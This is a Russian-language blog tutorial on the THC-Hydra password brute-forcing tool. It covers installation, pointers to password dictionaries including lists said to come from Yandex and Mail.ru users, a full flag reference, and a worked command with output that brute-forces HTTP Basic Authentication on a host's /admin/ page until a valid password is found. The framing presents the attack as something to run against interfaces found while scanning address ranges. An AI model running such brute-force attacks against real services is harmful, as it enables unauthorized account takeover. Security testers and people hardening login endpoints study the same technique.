Thank you for reading this post, don't forget to subscribe!
универсальный инструмент - THC-Hydra, который имеет поддержку пароля по/для Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC и XMPP.
Установка
Пакет hydra содержится в epel-репозитории, поэтому достаточно подключить его и установить.
|
yum install -y epel-release
yum install -y hydra
|
Или собрать с сорсов для пользователей других ОС:
|
mkdir ~/hydra_src && cd ~/hydra_src
wget https://github.com/vanhauser-thc/thc-hydra/archive/master.zip && unzip master.zip && rm -f master.zip
cd thc-hydra-master/
yum install gcc mysql-devel libssh
make clean && ./configure
make && make install
|
Словари
Брутить можно как с помощью подбора посимвольно, так и с помощью подготовленного словаря наиболее часто используемых паролей. Рекомендую первым делом попытаться подобрать пароль со словарем, и уже если и этот способ не увенчался успехом — переходить к прямому бруту посмивольно.
Словари можно поискать здесь или воспользоваться имеющимися.
Готовые списки паролей: top500; top4000; cain&abel (300k); пароли от яндекса (700k); пароли от маил.ру (2740k); маил.ру + яндекс (3300k)
Использование
Рассмотрим флаги запуска:
- -R Восстановить предыдущую сессию, которая по какой-либо причине была прервана
- -S Использовать SSL соединение
- -s PORT Указание порта (отличного от дефолтного) сервиса
- -l LOGIN Использовать указанный логин для попытки аутентификации
- -L FILE Использовать список логинов из указанного файла
- -p PASS Использовать указанный пароль для попытки аутентификации
- -P FILE Использовать список паролей из указанного файла
- -x Генерировать пароли для подбора самостоятельно, указывается в формате -x MIN:MAX:CHARSET, где MIN — это минимальная длинна пароля, MAX — соответственно, максимальная, а CHARSET — это набор символов, в котором a означает латиницу в нижнем регистре, A — в верхнем регистре, 1 — числа, а для указания дополнительных символов — просто укажи их как есть. Вот несколько примеров генерации паролей:
- -x 3:5:a — длинной от 3 до 5 символов, состоящие только из символов латиницы в нижнем регистре;
- -x 5:8:A1 — длинной от 5 до 8 символов, состоящие из символов латиницы в верхнем регистре + цифр;
- -x 1:3:/ — длинной от 1 до 3 символов, состоящие только из символов слеша /;
- -x 5:5:/%,.- — длинной в 5 символов, состоящие только из символов /%,.-;
- -e nsr Укажи n для проверки пустых паролей, s для попытки использования в качестве пароля — логин, и (или) r для попытки входа под перевернутым логином
- -u Пытаться подобрать логин а не пароль
- -C FILE Использовать файл в формате login:pass вместо указания -L/-P
- -M FILE Файл со списком целей для брутфорса (можно с указанием порта через двоеточие), по одному на строку
- -o FILE Записать подобранную пару логин/пароль в файл, вместо того чтоб просто вывести в stdout (будет указан с указанием сервера, к которому подобран — не запутаешься)
- -f / -F Прекратить работу, как только первая пара логин:пароль будет подобрана. -fтолько для текущего хоста, -F — глобально.
- -t TASKS Количество параллельных процессов (читай — потоков). По умолчанию 16
- -w Таймаут для ответа сервера. По умолчанию 32 секунды
- -W Таймаут между ответами сервера
- -4 / -6 Использовать IPv4 (по умолчанию) или IPv6 адреса (при указании с -M всегда заключай в [])
- -v Более подробный вывод информации о процессе
- -V Выводить каждый подбираемый логин + пароль
- -d Режим дебага
- -O Использовать старый SSL v2 и v3
- -q Не выводить сообщения об ошибках подключения
- -U Дополнительная информация о использовании выбранного модуля
- -h Вывод справочной информации
Примеры работы
Basic Authentication
Cканируя диапазон адресов мы попадаем на некоторый интерфейс, доступный по httpпротоколу, но закрытый для доступа при помощи Basic Authentication (пример настройки с помощью nginx).
- IP сервера: 192.168.2.15;
- Сервис: http;
- Путь, который закрыт для нас запросом пары логин/пароль: /admin/;
- Порт, на котором работает http сервер: 80;
Предположим (или любым доступным путем выясним), что логин для авторизации admin, и нам неизвестен лишь пароль. Подбирать будем с помощью заранее подготовленного словаря и с использованием модуля http-get:
|
[root@localhost opt]# hydra -l admin -P /opt/pass.txt -o ./hydra_result.log -f -V -s 80 192.168.2.15 http-get /admin/
Hydra v7.5 ©2013 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2016-06-08 14:37:45
[DATA] 16 tasks, 1 server, 234 login tries (l:1/p:234), ~14 tries per task
[DATA] attacking service http-get on port 80
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt1311113" - 1 of 234 [child 0]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt19391936" - 2 of 234 [child 1]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt2006pp" - 3 of 234 [child 2]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt21l16" - 4 of 234 [child 3]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt5390" - 5 of 234 [child 4]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "slt911pvpsw2" - 6 of 234 [child 5]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "sltanya" - 7 of 234 [child 6]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "admin" - 8 of 234 [child 7]
[ATTEMPT] target 192.168.2.15 - login "admin" - pass "password" - 9 of 234 [child 8]
…
[80][www] host: 192.168.2.15 login: admin password: password
[STATUS] attack finished for 192.168.2.15 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
|